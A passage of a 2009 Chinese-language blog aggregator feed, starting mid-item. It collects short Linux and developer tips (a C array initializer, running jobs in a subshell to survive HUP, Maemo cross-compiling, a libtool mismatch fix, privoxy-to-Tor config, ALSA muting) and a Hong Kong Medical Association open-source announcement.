	<content:encoded>typedef struct memory_area_struct {&lt;br /&gt;    unsigned int start;&lt;br /&gt;    unsigned int size;&lt;br /&gt;    int used;&lt;br /&gt;} memory_area_t;&lt;p&gt;#define NUM_MEM_AREAS 10&lt;br /&gt;memory_area_t memory_map[NUM_MEM_AREAS] = {&lt;br /&gt;    [0 ... (NUM_MEM_AREAS - 1)] = {&lt;br /&gt;        .start = 0,&lt;br /&gt;        .size = 0,&lt;br /&gt;        .used = 0&lt;br /&gt;    },&lt;br /&gt;};&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-7407352735508376287?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-08-19T18:01:49+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4541943624389063693">
	<title>Vern: about &amp;</title>
	<link>http://s5unty.blogspot.com/2009/08/about.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://www.ibm.com/developerworks/cn/linux/l-cn-nohup/&quot;&gt;http://www.ibm.com/developerworks/cn/linux/l-cn-nohup/&lt;/a&gt;&lt;p&gt;这里还有一个关于 subshell 的小技巧。我们知道，将一个或多个命名包含在&amp;quot;()&amp;quot;中就能让这些命令在子 shell&lt;br /&gt;中运行中，从而扩展出很多有趣的功能，我们现在要讨论的就是其中之一。当我们将&amp;quot;&amp;amp;&amp;quot;也放入&amp;quot;()&amp;quot;内之后，我们就会发现所提交的作业并不在作业列表中，也就是说，是无法通过jobs来查看的。让我们来看看为什么这样就能躲过&lt;br /&gt;HUP 信号的影响吧。&lt;p&gt;subshell 示例&lt;br /&gt;[root@pvcent107 ~]# (ping &lt;a href=&quot;http://www.ibm.com&quot;&gt;www.ibm.com&lt;/a&gt; &amp;amp;)&lt;br /&gt;[root@pvcent107 ~]# ps -ef | grep &lt;a href=&quot;http://www.ibm.com&quot;&gt;www.ibm.com&lt;/a&gt;&lt;br /&gt;root     16270     1  0 14:13 pts/4    00:00:00 ping &lt;a href=&quot;http://www.ibm.com&quot;&gt;www.ibm.com&lt;/a&gt;&lt;br /&gt;root     16278 15362  0 14:13 pts/4    00:00:00 grep &lt;a href=&quot;http://www.ibm.com&quot;&gt;www.ibm.com&lt;/a&gt;&lt;br /&gt;[root@pvcent107 ~]#&lt;p&gt;从上例中可以看出，新提交的进程的父 ID（PPID）为1（init 进程的 PID），并不是当前终端的进程&lt;br /&gt;ID。因此并不属于当前终端的子进程，从而也就不会受到当前终端的 HUP 信号的影响了。&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4541943624389063693?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-08-19T14:54:51+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-2250642303410589278">
	<title>Vern: use x86 to test and armel only for cc</title>
	<link>http://s5unty.blogspot.com/2009/08/use-x86-to-test-and-armel-only-for-cc.html</link>
	<content:encoded>&lt;span class=&quot;ul-threaded&quot;&gt;&lt;span class=&quot;text-cell&quot;&gt;&lt;span&gt;&lt;br /&gt;FROM: &lt;a href=&quot;http://n2.nabble.com/Not-getting-hildon-theme-for-Armel-terget-and-unable-to-build-for-Armel-terget-td2953653.html&quot;&gt;http://n2.nabble.com/Not-getting-hildon-theme-for-Armel-terget-and-unable-to-build-for-Armel-terget-td2953653.html&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;ul-threaded&quot;&gt;&lt;span class=&quot;text-cell&quot;&gt;&lt;span&gt;&lt;br /&gt;please use the x86 target &lt;b class=&quot;highlight&quot;&gt;to&lt;/b&gt; test your &lt;b class=&quot;highlight&quot;&gt;applications&lt;/b&gt; and the armel target *only* for cross compiling. starting the window from the armel target will fail. For further information please have a look at the release notes [1]. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;And the mmap issue is handled here now [2] I guess ;) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;[1] &lt;/span&gt;&lt;a href=&quot;http://repository.maemo.org/stable/4.1.2/maemo-sdk-relnotes_4.1.2.txt&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;&lt;span&gt;http://repository.maemo.org/stable/4.1.2/maemo-sdk-relnotes_4.1.2.txt&lt;/span&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;span&gt;[2] &lt;/span&gt;&lt;a href=&quot;http://maemo.org/community/maemo-developers/not_able_to_build_application_for_armel_terget&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;&lt;span&gt;http://maemo.org/community/maemo-developers/not_able_to_build_application_for_armel_terget&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-2250642303410589278?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-08-19T14:03:13+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-7419692015450239287">
	<title>Vern: libtool/aclocal error</title>
	<link>http://s5unty.blogspot.com/2009/08/libtoolaclocal-error.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://tolstoy.newcastle.edu.au/R/e6/devel/09/06/2037.html&quot;&gt;http://tolstoy.newcastle.edu.au/R/e6/devel/09/06/2037.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;gt; libtool: Version mismatch error. This is libtool 2.2, but the&lt;br /&gt;&amp;gt; libtool: definition of this LT_INIT comes from libtool 2.2.6.&lt;br /&gt; &amp;gt; libtool: You should recreate aclocal.m4 with macros from libtool 2.2&lt;br /&gt;&amp;gt; libtool: and run autoconf again. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;按照提示要求修改 ltmain.sh 中的 VERSION 和 package_revision 即可解决&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-7419692015450239287?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-08-18T09:33:06+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-214632598019292015">
	<title>Vern: 无题</title>
	<link>http://s5unty.blogspot.com/2009/08/blog-post.html</link>
	<content:encoded>打开 /etc/privoxy/config 以下内容的注释后&lt;br /&gt;forward-socks4a / &lt;a href=&quot;http://127.0.0.1:9050&quot;&gt;127.0.0.1:9050&lt;/a&gt; .&lt;p&gt;tor 才可以正常工作。&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-214632598019292015?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-08-16T09:26:21+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-903005136820256508">
	<title>Vern: 今天重装了 Debian</title>
	<link>http://s5unty.blogspot.com/2009/08/debian.html</link>
	<content:encoded>配置声卡的时候出现耳机有声，音箱无声的问题。&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot;&gt;alsamixer里，如果音量下面显示的是&lt;u&gt;MM表示此声道是静音的&lt;/u&gt;,无论你如何调节这个声道的音量都不会有声音，&lt;u&gt;按m就可以切换到有声的模式&lt;/u&gt;，MM会变为00，再按一次m又会切换到静音模式。&lt;/blockquote&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-903005136820256508?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-08-14T09:14:00+00:00</dc:date>
</item>
<item rdf:about="http://www.debian.org.hk/18866 at http://www.debian.org.hk">
	<title>wanleung: 香港醫學會「桃園計劃」- 原始碼將會開放</title>
	<link>http://www.debian.org.hk/blog/%E9%A6%99%E6%B8%AF%E9%86%AB%E5%AD%B8%E6%9C%83%E3%80%8C%E6%A1%83%E5%9C%92%E8%A8%88%E5%8A%83%E3%80%8D-%E5%8E%9F%E5%A7%8B%E7%A2%BC%E5%B0%87%E6%9C%83%E9%96%8B%E6%94%BE</link>
	<content:encoded>&lt;pre&gt;香港醫學會「桃園計劃」&lt;br /&gt;&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;http://www.hkma.org/taoyuan/index.htm&quot;&gt;http://www.hkma.org/taoyuan/index.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;以前發出之新聞稿&lt;br /&gt;&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;http://www.hkma.org/chinese/newsroom/news/20070517.htm&quot;&gt;http://www.hkma.org/chinese/newsroom/news/20070517.htm&lt;/a&gt;&lt;/pre&gt;&lt;pre&gt;&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;http://www.hkma.org/chinese/newsroom/news/20070517.htm&quot;&gt;&amp;nbsp;&lt;/a&gt;&lt;/pre&gt;&lt;pre&gt;--引用:------------------------------------------------------------&lt;br /&gt;    完成後的軟件將會是一件公開產品，其原始碼將會開放給使用者。軟件會免費&lt;br /&gt;發放給本港各執業醫生。由於原始碼是開放的，使用者可自行改善及增加其功能，&lt;br /&gt;以符合他們未來的需要。系統會採用一套獲醫療及資訊科技界認同的標準資料庫。&lt;br /&gt;這設計有助軟件的繼續發展，進一步容許私人醫生與公營醫院之間的醫療資訊交&lt;br /&gt;流。新功能亦會簡化向衛生署通報傳染病例的程序。&lt;br /&gt;------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;很欣喜有本地較大影響力之機構採取開放原始碼概念。希望更多政府及非官方公共&lt;br /&gt;組織能多實務地採用開放原始碼軟件及推動本地軟件市場向更開放模式發展。這發&lt;br /&gt;展項目亦為一個不錯的示範：軟件發展商如何以開放原始碼模式進行業務發展。&lt;br /&gt;&lt;br /&gt;這篇文章詳述香港醫學會為何堅持以開放原始碼模式進行桃園計劃&lt;br /&gt;&lt;a href=&quot;http://www.hkma.org/taoyuan/200807_Committee%20News%20(IT)_P22.pdf&quot;&gt;http://www.hkma.org/taoyuan/200807_Committee%20News%20(IT)_P22.pdf&lt;/a&gt;&lt;br /&gt;看了後很高興香港有非資訊科技界人士明白開放原始碼之好處。&lt;br /&gt;&lt;br /&gt;希望其他組織能對 FOSS 概念有更深了解。&lt;/pre&gt;</content:encoded>
	<dc:date>2009-08-06T11:31:10+00:00</dc:date>
</item>

</rdf:RDF>
